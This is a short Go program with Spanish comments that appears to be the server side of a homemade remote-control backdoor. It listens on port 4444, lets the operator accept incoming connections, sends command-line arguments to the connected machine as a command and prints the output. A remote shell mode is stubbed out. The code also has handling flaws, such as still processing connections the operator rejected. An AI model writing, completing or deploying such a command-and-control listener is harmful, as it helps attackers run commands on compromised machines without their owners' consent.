package main import ( "fmt" "net" "log" "os" "strings" ) type remoteAddr struct { addr string } // meotodo constructor func SetAddr() *remoteAddr { return &remoteAddr { addr: "0.0.0.0:4444", } } func (ra remoteAddr) bindPort() { listener, err := net.Listen("tcp", ra.addr) if err != nil { log.Println(err) } defer listener.Close() for { conn, err := listener.Accept() if err != nil { log.Println(err) } fmt.Println("Conexion recibida de", conn.RemoteAddr()) fmt.Println("Desea seguir con la conexion de", conn.RemoteAddr()) var respuesta string fmt.Scan(&respuesta) if respuesta != "y" { conn.Close() } go handleConnection(conn) } //go handleConnection(conn) } func handleConnection(conn net.Conn) { defer conn.Close() if os.Args[1] == "shell" { //getShell(conn) return } else { sendCommand(conn) } } func sendCommand(conn net.Conn){ defer conn.Close() comando := os.Args[1:] // el comando completo son los argumentos que establecemos comandoUnido := strings.Join(comando, " ") // Juntamos los argumentos como un solo string _, err := conn.Write([]byte(comandoUnido)) if err != nil { log.Println(err) } //conn.(*net.TCPconn).CloseWrite() conn.(*net.TCPConn).CloseWrite() buf := make([]byte, 4096) n, err := conn.Read(buf) mensaje := string(buf[:n]) fmt.Println("Respuesta de", conn.RemoteAddr()) fmt.Println(mensaje) } func main() { myAddr := SetAddr() myAddr.bindPort() }